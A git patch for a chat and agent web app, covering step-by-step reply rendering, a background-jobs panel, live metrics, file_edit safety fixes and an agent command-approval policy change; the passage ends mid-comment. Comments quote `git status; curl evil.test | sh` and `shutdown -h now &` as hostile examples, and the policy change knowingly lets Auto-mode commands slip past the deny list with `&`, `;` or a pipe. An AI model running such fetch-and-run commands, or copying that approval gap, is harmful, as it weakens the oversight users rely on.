From e9546dcd1f1f3ca73e1bd1f01d9c53407f1426e6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Bene=C5=A1?= Date: Tue, 4 Aug 2026 19:02:07 +0200 Subject: [PATCH] A reply you can read while it is still being written Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) --- src/lembas/api/agents.py | 110 +++++++ src/lembas/api/chats.py | 137 ++++++-- src/lembas/api/pages.py | 44 ++- src/lembas/db/models/chat.py | 15 + src/lembas/services/agent/jobs.py | 83 +++++ src/lembas/services/agent/patch.py | 33 +- src/lembas/services/agent/policy.py | 53 +-- src/lembas/services/agent/tools.py | 37 ++- src/lembas/services/generation.py | 177 ++++++++-- src/lembas/services/harness.py | 9 +- src/lembas/services/markdown.py | 37 +++ src/lembas/services/metrics.py | 58 +++- src/lembas/services/prompts.py | 67 +++- src/lembas/services/steps.py | 205 ++++++++++++ src/lembas/services/tokens.py | 12 + src/lembas/web/static/css/chat.css | 84 +++++ src/lembas/web/static/js/app.js | 54 +++- src/lembas/web/static/js/composer.js | 19 +- src/lembas/web/static/js/steps.js | 86 +++++ src/lembas/web/templates/admin/agents.html | 7 +- src/lembas/web/templates/chat/_composer.html | 51 +-- src/lembas/web/templates/chat/_jobs_chip.html | 37 +++ .../web/templates/chat/_jobs_panel.html | 75 +++++ src/lembas/web/templates/chat/_message.html | 84 ++--- src/lembas/web/templates/chat/_metrics.html | 9 +- src/lembas/web/templates/chat/_step.html | 49 +++ src/lembas/web/templates/chat/_steps.html | 22 ++ .../web/templates/chat/_steps_tail.html | 29 ++ .../web/templates/chat/_tool_activity.html | 16 +- src/lembas/web/templates/chat/index.html | 3 + src/lembas/web/templating.py | 7 + tests/test_agent_command_edit.py | 12 +- tests/test_agent_patch.py | 33 +- tests/test_agent_plan.py | 43 ++- tests/test_agent_policy.py | 40 ++- tests/test_agent_tools.py | 185 +++++++++++ tests/test_chat.py | 59 ++++ tests/test_chat_scope.py | 40 +++ tests/test_generation_tools.py | 98 ++++++ tests/test_metrics.py | 94 ++++++ tests/test_steps.py | 302 ++++++++++++++++++ tests/test_tool_activity.py | 63 ++++ tests/test_ui_js.py | 68 ++++ 43 files changed, 2520 insertions(+), 226 deletions(-) create mode 100644 src/lembas/services/steps.py create mode 100644 src/lembas/web/static/js/steps.js create mode 100644 src/lembas/web/templates/chat/_jobs_chip.html create mode 100644 src/lembas/web/templates/chat/_jobs_panel.html create mode 100644 src/lembas/web/templates/chat/_step.html create mode 100644 src/lembas/web/templates/chat/_steps.html create mode 100644 src/lembas/web/templates/chat/_steps_tail.html create mode 100644 tests/test_steps.py diff --git a/src/lembas/api/agents.py b/src/lembas/api/agents.py index d180c46..6e33902 100644 --- a/src/lembas/api/agents.py +++ b/src/lembas/api/agents.py @@ -25,6 +25,7 @@ from lembas.api.pages import sidebar_context from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile from lembas.services import settings_store from lembas.services.agent import index as index_service +from lembas.services.agent import jobs as jobs_service from lembas.services.agent import ssh as ssh_service from lembas.services.agent import terminal as terminal_service from lembas.services.agent.base import ExecError @@ -244,6 +245,115 @@ async def browse_profile( ) +# --- Background jobs ----------------------------------------------------------- +# A job runs detached on the far side for as long as it takes -- a build, an +# install, a test suite -- and until now the only way to see one was to ask the +# model to call `job_list`. Something that outlives the reply that started it +# needs a surface that outlives the reply too. +# +# Read-only listing and stopping sit **outside `agent/policy.py`**, which makes +# this the fifth exception to "the modes govern the model, not the interface", +# after the terminal panel, the directory browser, the project listing and +# Canvas saving a file. The argument is the one those rest on: whoever owns the +# credential could read the log with `cat` and stop the job with `kill`, and a +# panel that asked permission to show what is already running would be a panel +# nobody could use. `job_stop` as a *model* tool keeps its RISK_EXECUTE and its +# approval card; nothing about what a model may do has changed. +def _job_chat(db: Db, user: RequiredUser, chat_id: str): + """The chat, and the agent context its jobs belong to. + + 404 for a chat that is not this reader's, as everywhere else -- whether an + id exists is not something to hand out. The agent context is what carries + the connection, so a chat whose profile has been deleted or disabled has no + jobs to show rather than an error to render. + """ + from lembas.db.models import Chat + from lembas.services.agent import session as agent_session + + chat = db.get(Chat, chat_id) + if chat is None or chat.user_id != user.id: + raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.") + return chat, agent_session.resolve(db, chat, user) + + +@router.get("/api/chats/{chat_id}/jobs") +async def jobs_chip(request: Request, db: Db, user: RequiredUser, chat_id: str): + """How many jobs are running, as the chip in the composer row. + + Always rendered, even at zero -- the chip is what carries `hx-trigger`, so a + fragment that collapsed to nothing would stop polling and the first job + started afterwards would never appear. The template renders an empty span in + that case, so the row does not reflow as jobs come and go. + """ + chat, agent = _job_chat(db, user, chat_id) + views = jobs_service.listing(db, chat_id) if agent is not None else [] + return render( + request, + "chat/_jobs_chip.html", + {"chat": chat, "jobs": views, "running": sum(1 for view in views if view.running)}, + ) + + +@router.get("/api/chats/{chat_id}/jobs/panel") +async def jobs_panel(request: Request, db: Db, user: RequiredUser, chat_id: str, job: str = ""): + """The list, and one job's output when a row is expanded. + + The log is fetched only for the named job. Reading every job's tail on every + poll would be one SSH connection per job per five seconds, for output nobody + is looking at. + """ + chat, agent = _job_chat(db, user, chat_id) + views = jobs_service.listing(db, chat_id) if agent is not None else [] + + body = "" + error = "" + if job and agent is not None: + if not jobs_service.valid_id(job) or not any(view.id == job for view in views): + # Namespaced by chat on the far side, and checked here as well: the + # path is built from the chat id, but the route takes the job id + # from the URL and must not read one that belongs elsewhere. + raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.") + try: + reading = await jobs_service.read(agent, job) + body = reading.body + except ExecError as exc: + error = exc.message + + return render( + request, + "chat/_jobs_panel.html", + {"chat": chat, "jobs": views, "open_job": job, "body": body, "error": error}, + ) + + +@router.post("/api/chats/{chat_id}/jobs/{job_id}/stop") +async def stop_job(request: Request, db: Db, user: RequiredUser, chat_id: str, job_id: str): + chat, agent = _job_chat(db, user, chat_id) + views = jobs_service.listing(db, chat_id) if agent is not None else [] + if agent is None or not jobs_service.valid_id(job_id): + raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.") + if not any(view.id == job_id for view in views): + raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.") + + error = "" + try: + await jobs_service.stop(agent, job_id) + except ExecError as exc: + error = exc.message + + return render( + request, + "chat/_jobs_panel.html", + { + "chat": chat, + "jobs": jobs_service.listing(db, chat_id), + "open_job": "", + "body": "", + "error": error, + }, + ) + + def _parent_of(path: str) -> str: """The directory above, or "" at the root. diff --git a/src/lembas/api/chats.py b/src/lembas/api/chats.py index 36fe18c..92299e5 100644 --- a/src/lembas/api/chats.py +++ b/src/lembas/api/chats.py @@ -37,6 +37,7 @@ from lembas.services import generation as generation_service from lembas.services import interaction, settings_store, sse from lembas.services import metrics as metrics_service from lembas.services import prompts as prompts_service +from lembas.services import steps as steps_service from lembas.services import tools as tools_service from lembas.services.agent import policy as agent_policy from lembas.services.agent import terminal as terminal_service @@ -51,6 +52,13 @@ router = APIRouter(prefix="/api/chats", tags=["chats"]) # Well under nginx's 60s default; see services/sse.py:KEEPALIVE. KEEPALIVE_AFTER = 15.0 +# How often the metrics chips are re-sent when nothing else has changed. The +# reply's version does not move while a tool runs on the far machine, but its +# clock does, so without this the counts and tokens/second stand still for most +# of a long agent reply's wall time. A second is slow enough to be free and fast +# enough that the numbers read as live. +METRICS_INTERVAL = 1.0 + # How many prompts may wait behind a reply at once. The terminal panel's Auto # send is what this exists for: a `for` loop in a shell can produce commands # faster than any model answers them, and a bound with a sentence attached is @@ -833,10 +841,30 @@ async def stream_message( ) -def _tool_activity(events: list[dict], *, live: bool = True) -> str: - """Render the tool block. Whole, never a delta, like every other frame.""" - return templates.get_template("chat/_tool_activity.html").render( - {"tool_events": events, "live": live} +def _step_html(message_id: str, step) -> str: + """One closed step of a running reply. + + `SimpleNamespace` for the message, as `_canvas_tabs` already does for the + chat: the partial wants an id to build its element ids from and nothing + else, and there is no `Message` in scope here -- the row is not written + until the reply ends. `reasoning_ms` is only known then too, so a live step + says "Thought" and the stored one says how long for. + """ + return templates.get_template("chat/_step.html").render( + {"step": step, "message": SimpleNamespace(id=message_id, reasoning_ms=0)} + ) + + +def _steps_tail_html(message_id: str) -> str: + """The two containers the live thinking and prose are swapped into. + + Sent as part of the `steps` frame rather than as a frame of its own, which + is how the tail clears when a round closes: what was being written is now a + step above, and re-emitting these empty is what stops it also showing below. + It means `reasoning` and `render` can keep their never-blank guard. + """ + return templates.get_template("chat/_steps_tail.html").render( + {"message": SimpleNamespace(id=message_id, reasoning_ms=0)} ) @@ -846,7 +874,7 @@ def _ask_html(chat_id: str, pending) -> str: Returns "" when there is nothing pending, and the frame is sent unconditionally, because this is one of the few blocks that has to be able to *clear* itself: the card must vanish the moment it is answered. - `reasoning`, `tools` and `render` are the opposite -- guarded by truthiness + `reasoning`, `render` and `steps` are the opposite -- guarded by truthiness so a frame can never blank them. """ if pending is None: @@ -882,25 +910,52 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]: another chat -- leaves the reply being written, and reconnecting replays the whole state immediately rather than starting over. - Both `render` and `reasoning` carry the complete block each time rather - than a delta, which is what makes reattaching mid-reply work at all: a - follower arriving late has no earlier fragments to append to. + Every frame carries the complete block each time rather than a delta, which + is what makes reattaching mid-reply work at all: a follower arriving late has + no earlier fragments to append to. + + The split is along **closed versus open**, not along kind. `steps` carries + every step that has finished and moves only when a round ends; `reasoning` + and `render` carry the step still being written and move at streaming speed. + That is what makes this affordable: the old `tools` frame re-rendered every + tool call in the reply twelve times a second, against an output budget of a + megabyte, so a long agent reply spent most of its wall time re-rendering its + own transcript. `rendered` below is a render cache and not a wire protocol -- + it starts empty for every follower, so one attaching mid-reply still receives + the whole prefix in its first frame. + + The order within one pass is load-bearing: `steps` before `reasoning` and + `render`, because `steps` carries the containers those two are swapped into. + htmx re-registers `sse-swap` on content it swaps in, which is the same + property the approval card's buttons already rely on. """ generation = generation_service.ensure(chat_id, message_id) generation.followers += 1 seen = -1 last_frame = time.monotonic() + last_metrics = 0.0 + # The HTML of every step already rendered, and how many *marks* that covers. + # Two counters and not one: a mark can produce up to three steps -- thinking, + # prose, tools -- so the length of the list is not an index into the marks. + rendered: list[str] = [] + marks_done = 0 try: while True: if generation.version != seen: seen = generation.version - if generation.thinking: - yield sse.event("reasoning", escape_text(generation.thinking)) - if generation.tool_events: - yield sse.event("tools", _tool_activity(generation.tool_events)) - if generation.content: - yield sse.event("render", render_markdown(generation.text)) + if len(generation.steps) > marks_done: + for step in steps_service.closed_from(generation, since=marks_done): + rendered.append(_step_html(message_id, step)) + marks_done = len(generation.steps) + yield sse.event( + "steps", "".join(rendered) + _steps_tail_html(message_id) + ) + thinking_tail, text_tail = steps_service.tail(generation) + if thinking_tail: + yield sse.event("reasoning", escape_text(thinking_tail)) + if text_tail: + yield sse.event("render", render_markdown(text_tail)) if generation.canvas.get("tabs"): # Guarded on truthiness, which puts this in the # reasoning/tools/render group and not the @@ -917,7 +972,18 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]: yield sse.event("metrics", _metrics_html(generation)) yield sse.event("status", escape_text(generation.status)) yield sse.event("ask", _ask_html(chat_id, generation.pending)) - last_frame = time.monotonic() + last_frame = last_metrics = time.monotonic() + + # On a clock as well as on a change, because the version does not + # move while a tool runs -- there is no `touch()` inside + # `_run_calls` -- and a five-minute build on the far side is exactly + # when somebody looks at these numbers to see whether anything is + # happening. The elapsed clock is advancing throughout, so tok/s has + # to be allowed to fall; frozen chips beside a spinner read as a + # hang. One small swap a second, and only while the reply is live. + elif time.monotonic() - last_metrics > METRICS_INTERVAL: + yield sse.event("metrics", _metrics_html(generation)) + last_frame = last_metrics = time.monotonic() if generation.done: break @@ -949,7 +1015,6 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]: final_html = templates.get_template("chat/_message.html").render( { "message": message, - "body_html": render_markdown(message.content), "chat": chat, # Passed even though an assistant bubble never reads it: the # template shares both roles, and a missing `user` would only @@ -985,9 +1050,6 @@ def _render_bubble(db: DBSession, chat: Chat, owner: User | None, message: Messa return templates.get_template("chat/_message.html").render( { "message": message, - "body_html": ( - render_markdown(message.content) if message.role == ROLE_ASSISTANT else "" - ), "chat": chat, "user": owner, "models_by_id": {m.model_id: m for m in chat_service.available_models(db, None)}, @@ -1138,7 +1200,6 @@ async def cancel_edit( "chat": chat, "user": user, "message": message, - "body_html": "", "models_by_id": {}, }, ) @@ -1383,8 +1444,9 @@ async def answer_interaction( # about to run rather than the one the model asked for. Remembering the # proposed one would grant a standing permission nobody approved. remembered = 0 + unmatchable = 0 if verdict == interaction.ALLOW_ALWAYS: - remembered = _remember_always( + remembered, unmatchable = _remember_always( db, chat, generation_service.pending_items(chat.id, interaction_id), @@ -1415,13 +1477,33 @@ async def answer_interaction( } } ) + elif unmatchable: + # Otherwise this is a button that silently did nothing, which is the + # failure the rest of this feature was arranged to avoid. It is allowed + # to store nothing -- a composed command line must never become a + # standing permission -- but it is not allowed to say nothing. + response.headers["HX-Trigger"] = json.dumps( + { + "lembas:notify": { + "message": ( + "Allowed once. A command line that runs more than one thing " + "cannot be stored as a rule, so this chat will ask again." + ) + } + } + ) return response def _remember_always( db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None -) -> int: - """Record what "always allow" was said about. Returns how many were new. +) -> tuple[int, int]: + """Record what "always allow" was said about. + + Returns (how many were new, how many could not be stored at all). The second + is what the caller turns into a toast: `subject` yields nothing for a + composed command line, so pressing the button on one is right to store + nothing and wrong to say nothing. The pattern is derived **here**, and still never taken from the request as a pattern: `answers` carries the command a person may have corrected on the @@ -1444,6 +1526,7 @@ def _remember_always( entries = list(scope.get("allow") or []) written = answers or {} added = 0 + unmatchable = 0 for item in items: if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS: @@ -1452,7 +1535,10 @@ def _remember_always( if item.editable: detail = (written.get(item.key) or "").strip() or item.detail pattern = agent_policy.subject(item.tool_name, detail) - if not pattern or pattern in entries: + if not pattern: + unmatchable += 1 + continue + if pattern in entries: continue entries.append(pattern) added += 1 @@ -1463,7 +1549,7 @@ def _remember_always( chat.scope_json = {**scope, "allow": entries} db.commit() log.info("chat %s will stop asking about %d action(s)", chat.id, added) - return added + return added, unmatchable @router.post("/{chat_id}/allow/clear") @@ -1713,7 +1799,6 @@ async def regenerate( "request": request, "message": message, "chat": chat, - "body_html": "", "user": user, "models_by_id": { m.model_id: m for m in chat_service.available_models(db, user) diff --git a/src/lembas/api/pages.py b/src/lembas/api/pages.py index 07efa86..ad99bb9 100644 --- a/src/lembas/api/pages.py +++ b/src/lembas/api/pages.py @@ -17,7 +17,6 @@ from lembas.services import compaction as compaction_service from lembas.services import settings_store from lembas.services import suggestions as suggestions_service from lembas.services.library import documents as documents_service -from lembas.services.markdown import render_markdown from lembas.web.templating import STATIC_DIR, render router = APIRouter(tags=["pages"]) @@ -183,6 +182,12 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict: for m in agent_policy.MODES ], "terminal_enabled": _terminal_enabled(db, user, chat, current), + # Whether this chat could have background jobs at all. Not whether it + # has any -- that is what the chip's own request answers, five seconds + # later, off the request path. A chip that can never show anything is a + # chip that only takes room in a row this codebase has already had to + # fight to keep on one line. + "jobs_enabled": _jobs_enabled(db, user, chat, current), # Any chat that exists. Deliberately not gated the way the terminal is: # half the canvas's sources -- notes, skills, this chat's attachments, # its own scratch document -- need no machine at all, so the terminal's @@ -196,6 +201,28 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict: } +def _jobs_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool: + """Whether background jobs are possible in this chat. + + The same shape as `_terminal_enabled` and for the same reason, but keyed on + `background_enabled` rather than on `terminal_enabled` and on `tools.agent` + rather than `agent.terminal` -- somebody who may have a model run commands + here may see which of them are still running. It is not a second permission, + because there is no action here the agent tools do not already grant. + """ + from lembas.db.models import KIND_AGENT + from lembas.services.agent import ssh as ssh_service + + if chat is None or chat.kind != KIND_AGENT or profile is None: + return False + if not permissions.has(db, user, "tools.agent"): + return False + values = settings_store.agents(db) + if not values.get("enabled") or not values.get("background_enabled"): + return False + return ssh_service.available() == "" + + def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool: """Whether this chat can offer a shell of its own. @@ -490,14 +517,13 @@ async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str # have only stopped being part of the request. compacted, messages = compaction_service.split(db, chat, everything) - # Markdown is rendered once here rather than in the template so the same - # helper produces the page and the streamed final frame -- one code path, - # no chance of the two disagreeing. - bodies = { - message.id: render_markdown(message.content) - for message in everything - if message.role == "assistant" and message.content - } + # Empty, and kept only so `_thread.html` and the four handlers that render a + # bubble keep one signature between them. An assistant turn is rendered from + # its steps now (`message_steps`, a Jinja global), which is what lets a + # reply's prose sit either side of the tool call it surrounded rather than + # arriving as one block at the bottom. Nothing reads this for an assistant + # message any more; `library/note_detail.html` has its own. + bodies: dict[str, str] = {} # What the chat would use if its own prompt were empty, so the settings # panel can show it as placeholder text rather than leaving the user to diff --git a/src/lembas/db/models/chat.py b/src/lembas/db/models/chat.py index 4eaabaf..9fbe4e3 100644 --- a/src/lembas/db/models/chat.py +++ b/src/lembas/db/models/chat.py @@ -293,6 +293,21 @@ class Message(UUIDPrimaryKey, Timestamps, Base): # answer stay visible, and deliberately NOT replayed as context on the next # turn -- see services/generation.py for why. tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list) + + # Where each round's contribution ended, so `content`, `reasoning` and + # `tool_calls_json` can be shown as the one sequence they actually were + # rather than as three stacked zones. One entry per closed step, holding the + # cumulative length of each of the three at that moment. See + # services/steps.py; read it through the `steps` property below. + # + # Nullable, and that is load-bearing rather than lazy. `migrations.py` + # derives a backfill for a NOT NULL column from `column.type.python_type`, + # and `JSONList` is `MutableList.as_mutable(JSON)` whose `python_type` is + # `dict` -- so a NOT NULL list column would be backfilled `'{}'` on every + # existing row and fail on the first read. Nullable means no default, which + # is what an older row should have anyway: no marks, and the old layout. + steps_json: Mapped[list[Any] | None] = mapped_column(JSONList, nullable=True, default=list) + usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict) # A plan produced in Plan mode, or the state of one being carried out. See diff --git a/src/lembas/services/agent/jobs.py b/src/lembas/services/agent/jobs.py index 9618317..bc81b06 100644 --- a/src/lembas/services/agent/jobs.py +++ b/src/lembas/services/agent/jobs.py @@ -42,6 +42,9 @@ import re import time import uuid from dataclasses import dataclass, field +from typing import Any + +from sqlalchemy import select from lembas.services.agent.base import ExecError, ExecRequest, clean_output @@ -350,6 +353,86 @@ def valid_id(job_id: str) -> bool: return bool(_ID.match(job_id or "")) +@dataclass(frozen=True) +class JobView: + """One job as a person sees it, rather than as the watcher tracks it. + + Two sources, because neither is complete on its own. The `agent_jobs` row is + what survives a restart and carries wall-clock times; `JobState` is what this + process knows now, and it exists for a job whose row could not be written -- + `_persist_row` is best-effort by design, so a job with no row is still a job + that is running. + + Times are wall clock, from the row. `JobState.started_at` is + `time.monotonic()`, which is right for measuring an interval inside one + process and meaningless across a restart: `rehydrate` builds a fresh + `JobState` whose clock starts at nought, so a job that had been running for + three hours would report having started a moment ago. + """ + + id: str + command: str + status: str + exit_status: int | None = None + started_at: Any = None + finished_at: Any = None + + @property + def running(self) -> bool: + return self.status == "running" + + +def listing(db, chat_id: str) -> list[JobView]: + """Every job this chat has, newest first. + + Live state wins over the stored row where they disagree. They should not -- + `_record` writes the row as it updates the state -- but the row write is the + half allowed to fail, so preferring the fresher of the two is what keeps a + finished job from being shown as running for ever. + """ + from lembas.db.models import Job + + live = {job.id: job for job in for_chat(chat_id)} + views: list[JobView] = [] + seen: set[str] = set() + + rows = db.scalars( + select(Job).where(Job.chat_id == chat_id).order_by(Job.created_at.desc()) + ) + for row in rows: + state = live.get(row.id) + seen.add(row.id) + views.append( + JobView( + id=row.id, + command=row.command or "", + status=state.status if state is not None else row.status, + exit_status=state.exit_status if state is not None else row.exit_status, + started_at=row.created_at, + finished_at=row.finished_at, + ) + ) + + # A job whose row never got written. It has no start time to show, which is + # honest: nothing recorded one. + for job in live.values(): + if job.id not in seen: + views.insert( + 0, + JobView( + id=job.id, + command=job.command, + status=job.status, + exit_status=job.exit_status, + ), + ) + return views + + +def running_count(db, chat_id: str) -> int: + return sum(1 for view in listing(db, chat_id) if view.running) + + def _record(job_id: str, status: str, exit_status: int | None) -> None: job = _JOBS.get(job_id) if job is None or job.status != "running": diff --git a/src/lembas/services/agent/patch.py b/src/lembas/services/agent/patch.py index 020a1c2..9e5ec27 100644 --- a/src/lembas/services/agent/patch.py +++ b/src/lembas/services/agent/patch.py @@ -243,18 +243,45 @@ def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) -> ) expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "") - found = lines[hint] if 0 <= hint < len(lines) else "(past the end of the file)" return PatchError( f"Hunk {number} did not apply. It expects line {hint + 1} to be\n" f" {expected}\n" f"but the file has\n" - f" {found}\n" + f"{_around(lines, hint)}\n" f"and those lines are nowhere else nearby either. Nothing was written. " - f"Read the file again and send a patch that matches it.", + f"Send a patch whose context matches what is printed above.", hunk=number, ) +# How many lines either side of the hinted position to print back. Three, which +# is what a patch carries as context, so a model can read its next attempt +# straight off the message. +MISMATCH_WINDOW = 3 + + +def _around(lines: list[str], hint: int) -> str: + """The file as it actually is, around where the hunk expected to land. + + One line was not enough. A model whose line numbers are two out reads "the + file has X", cannot see where X sits relative to what it wanted, and sends + the identical patch again -- which is most of the retry loop this tool + produces in practice. Numbered, because the numbers are what was wrong. + """ + if not lines: + return " (the file is empty)" + if hint >= len(lines): + start = max(0, len(lines) - MISMATCH_WINDOW) + shown = [f" {n + 1:>5} {lines[n]}" for n in range(start, len(lines))] + return "\n".join([*shown, f" (the file ends at line {len(lines)})"]) + + start = max(0, hint - MISMATCH_WINDOW) + end = min(len(lines), hint + MISMATCH_WINDOW + 1) + return "\n".join( + f"{'->' if n == hint else ' '} {n + 1:>5} {lines[n]}" for n in range(start, end) + ) + + def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str: """A unified diff of one change, for the transcript. diff --git a/src/lembas/services/agent/policy.py b/src/lembas/services/agent/policy.py index abe552d..db64d4e 100644 --- a/src/lembas/services/agent/policy.py +++ b/src/lembas/services/agent/policy.py @@ -88,13 +88,27 @@ POLICY: dict[str, dict[str, str]] = { # A shell metacharacter makes a command line unmatchable, so no pattern may be # applied to it. Without this, `git *` in an allow list also matches -# `git status; curl evil.test | sh`, which is the whole ballgame. +# `git status; curl evil.test | sh`, which is the whole ballgame. That half is +# absolute and is what this constant exists for. # -# The original reasoning stopped there, arguing a deny list needed no such care -# because "failing open returns you to the mode". That is true of Manual, Edit -# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So -# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the -# whole of the difference. See `decide`. +# The deny list is the other half, and it has been decided both ways. There was +# once a rule that an unmatchable line ASKed whenever a deny list existed at +# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &` +# ran. It is gone: the shipped deny list is non-empty, so that rule made *every* +# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything +# with a pipe -- and a mode whose whole purpose is not asking asked about most +# real commands. It was not a security control anybody experienced as one; it +# was Auto appearing not to work. +# +# So an unmatchable line now falls through to the mode, and in Auto the mode is +# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a +# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable, +# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow +# list is untouched by the change and still cannot be matched at all. +# +# The upgrade that would restore both properties is to split a composed line on +# these metacharacters and check every segment against the deny list only. It is +# confined to `decide` and is worth doing; it is not done here. _UNSAFE = re.compile(r"[;&|<>`$\n\\()]") @@ -175,13 +189,15 @@ def decide( 1. A deny wins before everything, **including Auto**. A deny list that Auto ignores is not a deny list, it is a suggestion. - 2. A command line nobody can match is not a command line the deny list can - clear. See below. - 3. `ask` never resolves to allow. `ask_user` asks in every mode; that is + 2. `ask` never resolves to allow. `ask_user` asks in every mode; that is what the tool is for, and a mode that skipped it would answer the model's question on the reader's behalf. - 4. An allow-list hit runs it. - 5. Otherwise the table. + 3. An allow-list hit runs it. + 4. Otherwise the table. + + A command line carrying a shell metacharacter matches neither list, so it + reaches the table and Auto runs it. See the note above `_UNSAFE` for what + that trades away and why. An unrecognised mode is treated as Manual, not Auto: a row that predates a rename has to fail towards asking. @@ -192,21 +208,6 @@ def decide( if hit: return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.") - # Unmatchable *and* somebody has said what to always ask about. Falling - # through here is what let `shutdown -h now &` run in Auto while - # `shutdown -h now` asked: `subject` returns None for anything containing a - # metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW. - # - # Only when there is a deny list at all. Making every compound command ask - # regardless would take `cd build && make` -- which is most real commands -- - # away from the mode whose whole purpose is not asking. - if candidate is None and deny: - return Decision( - ASK, - "This command line runs more than one thing, so it cannot be " - "checked against the list of commands to always ask about.", - ) - if risk == RISK_ASK: return Decision(ASK, "") diff --git a/src/lembas/services/agent/tools.py b/src/lembas/services/agent/tools.py index d51cc62..088203b 100644 --- a/src/lembas/services/agent/tools.py +++ b/src/lembas/services/agent/tools.py @@ -511,7 +511,36 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome: _event("file_edit", agent, path, status="error", error="No patch."), ) - before, diffable = await _current(agent, path) + # Read here rather than through `_current`, which answers a different + # question. `_current` exists for `file_write`, where a file that cannot be + # read is a file about to be created and "" is the honest answer. Applying a + # patch to that "" instead reported a context mismatch against + # "(past the end of the file)" -- a model told the file is empty when it is + # in fact unreadable retries the same patch, then rewrites the file whole, + # which is how an unreadable file becomes a lost one. + try: + before = await agent.executor().read_file(path, max_bytes=agent.max_output) + except ExecError as exc: + return ToolOutcome( + f"{exc.message} Nothing was written.", + _event("file_edit", agent, path, status="error", error=exc.message), + ) + + # And a file too big to read whole may not be patched at all. `read_file` + # truncates at the ceiling, so `after` would be the beginning of the file + # with the patch applied -- and `write_file` replaces, so writing it back is + # how the rest of the file is deleted. Silently, and reported as a success + # with a byte count. This is the same rule Canvas follows for the same + # reason: a truncated read opens read-only. + if len(before) >= agent.max_output: + return ToolOutcome( + f"{path} is too large to patch: only the first {agent.max_output} bytes " + f"can be read, and writing back what was read would delete the rest. " + f"Nothing was written. Change it with a command instead — sed, or a " + f"short script.", + _event("file_edit", agent, path, status="error", error="Too large to patch."), + ) + try: after = patch.apply(before, patch.parse(raw)) except patch.PatchError as exc: @@ -551,8 +580,10 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome: text=f"{written} bytes", canvas=_canvas(agent, path), ) - if diffable: - event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES) + # Always diffable here: an unreadable original and a truncated one have both + # already been refused above, which is the whole difference between this and + # `file_write`'s use of `_current`. + event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES) return ToolOutcome(f"Updated {path} ({written} bytes).", event) diff --git a/src/lembas/services/generation.py b/src/lembas/services/generation.py index 876b73f..a34e282 100644 --- a/src/lembas/services/generation.py +++ b/src/lembas/services/generation.py @@ -72,6 +72,14 @@ MAX_TOOL_ROUNDS = 200 # say so and be believed rather than argued with indefinitely. MAX_NUDGES = 2 +# How much prose an agent reply 